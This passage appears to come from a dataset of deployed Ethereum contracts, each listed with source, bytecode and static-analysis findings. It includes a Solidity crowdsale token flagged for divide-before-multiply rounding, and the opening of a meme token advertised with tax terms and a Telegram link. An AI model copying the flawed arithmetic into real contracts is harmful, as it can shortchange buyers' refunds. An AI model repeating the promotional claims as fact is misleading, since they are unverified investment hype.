ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c2657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611c6257600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6002600560146101000a81548160ff02191690836002811115611d4157fe5b021790555060006004541115611e2b57611dc6600454600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b4c90919063ffffffff16565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015611eaa573d6000803e3d6000fd5b505600a165627a7a72305820875d536532e37b51aa797821697d421347c0755fda267b95feda1051f622f6a80029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 8,743 |
0x74daa6ade9e5368c19eef8e154e529168fe0cdc2
|
pragma solidity ^0.4.23;
/**
* @title Sajulmala Token Project
* @dev credit to Coinmonks at medium
*/
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
**/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
**/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
**/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
**/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
**/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender account.
**/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
**/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
**/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic interface
* @dev Basic ERC20 interface
**/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
**/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
**/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
**/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
**/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
**/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
**/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
**/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
**/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
**/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
**/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Configurable
* @dev Configurable varriables of the contract
**/
contract Configurable {
uint256 public constant cap = 5000000000*10**18;
uint256 public constant basePrice = 50000000*10**18; // tokens per 1 ether
uint256 public tokensSold = 0;
uint256 public constant tokenReserve = 1000000000*10**18;
uint256 public remainingTokens = 0;
uint256 public minContribute = 0.02 ether; // Minimum investment allowed
}
/**
* @title CrowdsaleToken
* @dev Contract to preform crowd sale with token
**/
contract CrowdsaleToken is StandardToken, Configurable, Ownable {
/**
* @dev enum of current crowd sale state
**/
enum Stages {
none,
icoStart,
icoEnd
}
Stages currentStage;
/**
* @dev constructor of CrowdsaleToken
**/
constructor() public {
currentStage = Stages.none;
balances[owner] = balances[owner].add(tokenReserve);
totalSupply_ = totalSupply_.add(tokenReserve);
remainingTokens = cap;
emit Transfer(address(this), owner, tokenReserve);
}
/**
* @dev fallback function to send ether to for Crowd sale
**/
function () public payable {
require(currentStage == Stages.icoStart);
require(msg.value > 0);
require(remainingTokens > 0);
uint256 weiAmount = msg.value; // Calculate tokens to sell
uint256 tokens = weiAmount.mul(basePrice).div(1 ether);
uint256 returnWei = 0;
if(tokensSold.add(tokens) > cap){
uint256 newTokens = cap.sub(tokensSold);
uint256 newWei = newTokens.div(basePrice).mul(1 ether);
returnWei = weiAmount.sub(newWei);
weiAmount = newWei;
tokens = newTokens;
}
tokensSold = tokensSold.add(tokens); // Increment raised amount
remainingTokens = cap.sub(tokensSold);
if(returnWei > 0){
msg.sender.transfer(returnWei);
emit Transfer(address(this), msg.sender, returnWei);
}
balances[msg.sender] = balances[msg.sender].add(tokens);
emit Transfer(address(this), msg.sender, tokens);
totalSupply_ = totalSupply_.add(tokens);
owner.transfer(weiAmount);// Send money to owner
}
/**
* @dev startIco starts the public ICO
**/
function startIco() public onlyOwner {
require(currentStage != Stages.icoEnd);
currentStage = Stages.icoStart;
}
/**
* @dev endIco closes down the ICO
**/
function endIco() internal {
currentStage = Stages.icoEnd;
// Transfer any remaining tokens
if(remainingTokens > 0)
balances[owner] = balances[owner].add(remainingTokens);
// transfer any remaining ETH balance in the contract to the owner
owner.transfer(address(this).balance);
}
/**
* @dev finalizeIco closes down the ICO and sets needed varriables
**/
function finalizeIco() public onlyOwner {
require(currentStage != Stages.icoEnd);
endIco();
}
}
/**
* @title SajulmalaToken
* @dev Contract to create the Sajul Ma'la Token
**/
contract SajulmalaToken is CrowdsaleToken {
string public constant name = "Sajul Ma'la Token";
string public constant symbol = "SJML";
uint32 public constant decimals = 18;
}
|
0x60806040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146104d6578063095ea7b31461056657806318160ddd146105cb57806323b872dd146105f6578063313ce5671461067b578063355274ea146106b2578063518ab2a8146106dd578063661884631461070857806370a082311461076d57806389311e6f146107c45780638da5cb5b146107db578063903a3ef61461083257806395d89b4114610849578063a9059cbb146108d9578063b59a60db1461093e578063bf58390314610969578063c7876ea414610994578063cbcb3171146109bf578063d73dd623146109ea578063dd62ed3e14610a4f578063f2fde38b14610ac6575b60008060008060006001600281111561013257fe5b600660149054906101000a900460ff16600281111561014d57fe5b14151561015957600080fd5b60003411151561016857600080fd5b600060045411151561017957600080fd5b3494506101b4670de0b6b3a76400006101a66a295be96e6406697200000088610b0990919063ffffffff16565b610b4190919063ffffffff16565b9350600092506b1027e72f1f128130880000006101dc85600354610b5790919063ffffffff16565b111561025b576102036003546b1027e72f1f12813088000000610b7390919063ffffffff16565b915061023d670de0b6b3a764000061022f6a295be96e6406697200000085610b4190919063ffffffff16565b610b0990919063ffffffff16565b90506102528186610b7390919063ffffffff16565b92508094508193505b61027084600354610b5790919063ffffffff16565b6003819055506102976003546b1027e72f1f12813088000000610b7390919063ffffffff16565b6004819055506000831115610353573373ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f193505050501580156102ec573d6000803e3d6000fd5b503373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35b6103a4846000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b5790919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a361046084600154610b5790919063ffffffff16565b600181905550600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc869081150290604051600060405180830381858888f193505050501580156104ce573d6000803e3d6000fd5b505050505050005b3480156104e257600080fd5b506104eb610b8c565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561052b578082015181840152602081019050610510565b50505050905090810190601f1680156105585780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561057257600080fd5b506105b1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bc5565b604051808215151515815260200191505060405180910390f35b3480156105d757600080fd5b506105e0610cb7565b6040518082815260200191505060405180910390f35b34801561060257600080fd5b50610661600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cc1565b604051808215151515815260200191505060405180910390f35b34801561068757600080fd5b5061069061107b565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b3480156106be57600080fd5b506106c7611080565b6040518082815260200191505060405180910390f35b3480156106e957600080fd5b506106f2611090565b6040518082815260200191505060405180910390f35b34801561071457600080fd5b50610753600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611096565b604051808215151515815260200191505060405180910390f35b34801561077957600080fd5b506107ae600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611327565b6040518082815260200191505060405180910390f35b3480156107d057600080fd5b506107d961136f565b005b3480156107e757600080fd5b506107f0611425565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561083e57600080fd5b5061084761144b565b005b34801561085557600080fd5b5061085e6114e5565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561089e578082015181840152602081019050610883565b50505050905090810190601f1680156108cb5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156108e557600080fd5b50610924600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061151e565b604051808215151515815260200191505060405180910390f35b34801561094a57600080fd5b5061095361173d565b6040518082815260200191505060405180910390f35b34801561097557600080fd5b5061097e611743565b6040518082815260200191505060405180910390f35b3480156109a057600080fd5b506109a9611749565b6040518082815260200191505060405180910390f35b3480156109cb57600080fd5b506109d4611758565b6040518082815260200191505060405180910390f35b3480156109f657600080fd5b50610a35600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611768565b604051808215151515815260200191505060405180910390f35b348015610a5b57600080fd5b50610ab0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611964565b6040518082815260200191505060405180910390f35b348015610ad257600080fd5b50610b07600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119eb565b005b600080831415610b1c5760009050610b3b565b8183029050818382811515610b2d57fe5b04141515610b3757fe5b8090505b92915050565b60008183811515610b4e57fe5b04905092915050565b60008183019050828110151515610b6a57fe5b80905092915050565b6000828211151515610b8157fe5b818303905092915050565b6040805190810160405280601181526020017f53616a756c204d61276c6120546f6b656e00000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610cfe57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610d4b57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610dd657600080fd5b610e27826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b7390919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610eba826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b5790919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f8b82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b7390919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601281565b6b1027e72f1f1281308800000081565b60035481565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311156111a7576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061123b565b6111ba8382610b7390919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113cb57600080fd5b6002808111156113d757fe5b600660149054906101000a900460ff1660028111156113f257fe5b141515156113ff57600080fd5b6001600660146101000a81548160ff0219169083600281111561141e57fe5b0217905550565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114a757600080fd5b6002808111156114b357fe5b600660149054906101000a900460ff1660028111156114ce57fe5b141515156114db57600080fd5b6114e3611b43565b565b6040805190810160405280600481526020017f534a4d4c0000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561155b57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156115a857600080fd5b6115f9826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b7390919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061168c826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b5790919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60055481565b60045481565b6a295be96e6406697200000081565b6b033b2e3c9fd0803ce800000081565b60006117f982600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b5790919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a4757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611a8357600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6002600660146101000a81548160ff02191690836002811115611b6257fe5b021790555060006004541115611c4c57611be7600454600080600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b5790919063ffffffff16565b600080600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015611ccb573d6000803e3d6000fd5b505600a165627a7a723058209ac8c332f68c5b3135aacf580986ab9bf62894073da93b6b559ad4c669a5e92f0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 8,744 |
0x36cc83ce4851ca220f2b4f07019a06c07350b83e
|
/**
*Submitted for verification at Etherscan.io on 2022-04-16
*/
/*
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣆⠉⠙⠻⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣆⠸⢷⣦⣄⡉⠛⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⡄⠠⡈⠙⠻⢷⣦⣤⣈⠙⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡀⢿⣷⣶⣤⣈⠙⠻⢿⣆⠘⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⠸⣿⣿⣿⣿⣿⣶⣤⣌⡀⠹⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡄⢻⣿⣿⣿⣿⣿⣿⣿⣷⠀⢻⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣇⠘⣿⣿⣿⣿⣿⣿⣿⣿⣇⠈⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⠿⢿⣿⡟⠋⠉⠀⢻⣿⣿⣿⣿⣿⣿⣿⣿⡄⠸⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⡟⠁⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⠷⠀⢻⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣧⡀⠀⠀⠀⠀⠀⠀⢀⣾⣿⣿⡿⠋⠉⠛⠏⠀⠀⠀⠈⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣷⣦⣀⠀⠀⠀⣠⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣴⣿⣿⣿⣿⣿⣧⡀⠀⠀⠀⠀⠀⢀⣼⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣦⣄⠀⣰⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣿⣿⣿⣿⣿⣿⣿⣿
Based on Elon Musk Tweet, he sent us a message about an Elvis Presley's song.
We decided to combine the two legends into ELVISELON!
12% Tax Only with 1% reflective.
This is 100% Stealth Launch, no private sale/pre sale.
Elvis Presley trivia & buy competition incoming!
Prepare your Wikipedia!
- Telegram: https://t.me/ElvisElon
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
